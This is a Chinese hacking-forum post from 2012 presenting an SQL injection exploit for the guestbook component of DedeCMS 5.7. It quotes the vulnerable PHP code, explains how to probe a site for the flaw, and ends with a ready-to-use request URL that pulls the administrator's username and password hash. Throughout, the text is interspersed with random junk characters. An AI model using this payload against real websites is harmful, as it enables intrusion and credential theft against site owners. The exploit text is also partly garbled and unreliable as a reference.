找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3775|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7  U8 W) B7 A5 L; b
5 d+ @; d5 h: g6 |  c6 h* c$ L
漏洞文件edit.inc.php具体代码:5 l$ `9 x- ?& q$ S
1 U; [( n, P3 V
< ?php  
, q4 }$ A+ g2 U9 p' T2 Z! y7 S. S+ c7 M. W0 f2 t
if(!defined('DEDEINC')) exit('Request Error!');  
  n$ T- k. ~" e9 T
. ]' l7 v. w0 M+ x6 v   
( y/ d5 M( s  f' d9 R
, P. p4 L; }2 L' ]5 B- Fif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
& |4 s7 t" e3 Z0 X, z( U% D6 G
( Y4 H" b% y; g7 e" X0 e. melse $GUEST_BOOK_POS = "guestbook.php";  ' `, N& X9 m7 O2 o

) R1 Q4 p. q  Z& q1 v   9 P5 M) ^0 d+ ~, M
7 v8 b" I/ [; l* A/ v$ t
$id = intval($id);  
, c, Y: p4 O! D8 Z9 y  G0 \0 g
6 x$ y) B7 a$ p8 @: iif(empty($job)) $job='view';  
' T. R$ ?9 D0 x4 e- K
' D1 p' a& i+ i0 ]8 G   
0 e0 U( c* i! H2 f' S" a7 ~, Z3 V+ T
if($job=='del' && $g_isadmin)  . L+ M8 l: D, a
1 Y* I7 m8 A! `
{  
" Z! x) p1 m3 S0 i0 j9 d
7 L  ?* I( |0 G7 v) I$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  $ r: J# p- ~5 k$ N
0 D; ~; a% S( h. ~
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
4 @6 {' n: l& z1 ~, _+ }4 k* Z5 T: r0 a
exit();  ( K, e/ |, [. N: }: h7 _

3 N, v7 g1 H3 k# ~}  
' _! K" a8 U- t0 t# M
: B+ Z- X7 I+ h. }2 ]7 Selse if($job=='check' && $g_isadmin)  
% ?8 P/ L, Z$ C; A7 L* z3 l  E
! A; O& N& a1 g/ T5 ^3 Z5 i{  
1 K0 J- H( F4 N4 P& A3 H/ v0 w5 N# q' d5 g
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
; `0 C! B9 K4 s2 @0 e3 K
. v9 l' F" t. U# }; uShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  0 ~* Y6 M4 @$ Z% ?

' Q$ F4 s( ]6 d# qexit();  . S* u3 E: d5 x. z4 M

* U; O+ n. E! I5 i  v4 M  ~" p$ j- v1 [}  ; D& ?  a7 b1 t+ @0 K; f' B) P
4 p* f4 }. b2 e3 d
else if($job=='editok')  
( J. H- T( M5 B1 I  |/ r+ O; V$ e& ]7 H+ M6 h$ A$ A8 C  s
{  ) q; q3 n; \) Z; Q7 G  v3 T- v
  W, M9 m! {' T
$remsg = trim($remsg);  
; R/ r: v, e/ U
7 y: H( \) G+ E# \if($remsg!='')  
& v1 E, W; U6 b) U! W/ ~
$ N# f5 v7 @; M" ?1 K8 V1 R3 ^{  
& J2 \2 T5 A! w7 e
3 u) r; m% d  v+ H$ d$ y- I7 q: j//管理员回复不过滤HTML By:Errorera blog:errs.cc  
  W: f5 i' L" _0 f4 q
! H( j+ E5 _7 e! I# Pif($g_isadmin)  ( o  A3 I- p" Q$ E( h+ Q$ y

2 n8 P" F6 D3 A3 o0 E) Z! m6 H$ ~{  
' y3 w1 h( ~8 G( I2 q* ^; k
0 c, ?# c- K& C1 d$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  # B0 t: p% y! ]; n
% v/ E8 K" c/ `- Z6 R
//$remsg <br /><font color=red>管理员回复:</font> }  1 Q! R6 b/ l' ?6 }  r$ ?* J. l

. e0 L' h% j: N- w3 V- p+ g& j& Uelse
% E, S0 Z- k6 t6 \3 d# f2 t* Z1 b* X! Q7 b1 ]/ [# f* w( d
{  
/ O6 }1 F, N; R0 A7 i9 _7 K- z7 g( K" l/ ]8 H; S: m# W; T  Y  v* S
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  . @: U; Q7 L# N, m  P5 H/ w0 e; R
+ W3 Y- B7 H' A+ T4 K
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
; i3 d1 ]! Q2 O' T+ I6 F
4 E% B! f2 X5 W) }* R  `8 w* m$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
  k9 O% B6 O* {. S
* s6 A7 ~3 I% [3 t8 g$msg = $oldmsg.$remsg;  ! ~$ x& J) z- M2 g3 D; F9 d

, k) C6 f% b) P; @$ W; i}  ( {- n6 G4 \8 O" C" E" h

/ B, k, F/ v  _$ B8 I$ V, U}  . O- `# z$ Z; P# y+ e0 T1 X6 r
3 a3 k7 d' l- L! [, |
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  ( x* c8 ]6 c0 h2 P; `+ \
& q; Z6 `% p" ~4 p% C( c2 x
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  . m+ B; W$ l: A- h  g, C% `

, ]. x' k3 R/ hShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  * J6 ^! y0 I( Z: M* p4 p; e5 ?

/ Z2 O! f* b. Kexit();  
( f9 o; w, c& D, I. K5 F  [* r& G* X$ z7 m9 R
}  1 |: `9 v5 ~, \  e4 W% \
6 {' f0 w4 j6 }, M
//home:www.errs.cc  + J( w( t2 {9 a
, Y/ s" N' a7 W) D0 M5 N7 f, y1 c
if($g_isadmin)  
3 `/ O$ e' x4 i: o9 Q2 B: e$ l+ r' X9 R+ g; Y; g1 i
{    R  {7 r/ @2 u. J8 c" g; L' A1 D8 X
% A$ Z! x7 H# D% ?: \7 l
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  1 N& U" I2 _: ]; T
) o6 U( @- u4 m3 w
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  3 ]- }4 A" T3 x  I# h- R
* q* V3 R/ @* d! N, Y
}  1 @% @/ A) g6 R% m1 s1 D
* \+ e4 {& |- {+ \' b1 s1 E+ Z
else
$ k% v, Z3 T5 F: n/ B9 H/ \6 P" N& m( X3 G  w6 c# t
{  : p" s, U1 {( _" Z; D! v1 Y& N) o4 j

( u* ~& I% n- i+ g# Y9 n$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
- d  E2 X4 R% L6 p3 y' a  O8 C' x! s) A" Z1 v6 X4 t$ C
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  6 i; ^3 T1 F/ N$ y9 i. x' N5 ?

8 o3 H( ?9 h* P" c- E' @0 {! i} 漏洞成功需要条件:
% B# w4 Y5 w0 G; v6 g+ v1. php magic_quotes_gpc=off
2 C2 c. W9 y7 ], r0 b) H2 Z5 m2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。9 e- {* r+ L" b$ s2 V; b# p$ j
2 q6 C( s7 [$ I' g) e3 F$ ]
怎么判断是否存在漏洞:
& Y* {2 A( K" I7 ~/ r& S先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
1 O; H+ S  G/ L: `6 g( Z然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
3 P/ G4 L5 H  r" T" {; X6 G访问:
" W$ a( y& I1 S7 G  g1 }8 s
/ j7 T5 D0 l2 o% i4 l( R7 Owww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了; f/ R0 D7 m1 \7 U$ O
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
% y" W! O2 v1 w6 R% h- |. d
- f7 e: a- f3 J0 |. M  L, z& M( R$ }
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
/ q7 ?! `7 G5 h# y! t如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。$ Q' v' R  ~9 q! U  X/ [7 ?4 p& j
那么再次访问
3 x; n, r  ^9 }3 z" O! m# a
( b/ p, p3 P- Q* |: Bwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().4 i- i* |: j. o* h& W3 p* ]
4 N' v: U/ u5 w9 l/ `' }5 u% e
大概利用就是这样,大家有兴趣的多研究下!!0 r* M* h8 O0 U/ B
/ J3 w1 M; w: |8 ?, e. C) E
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!7 X' w0 X* @( y6 K5 ^

7 L) B+ g6 Y& Y% ~9 m: aview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表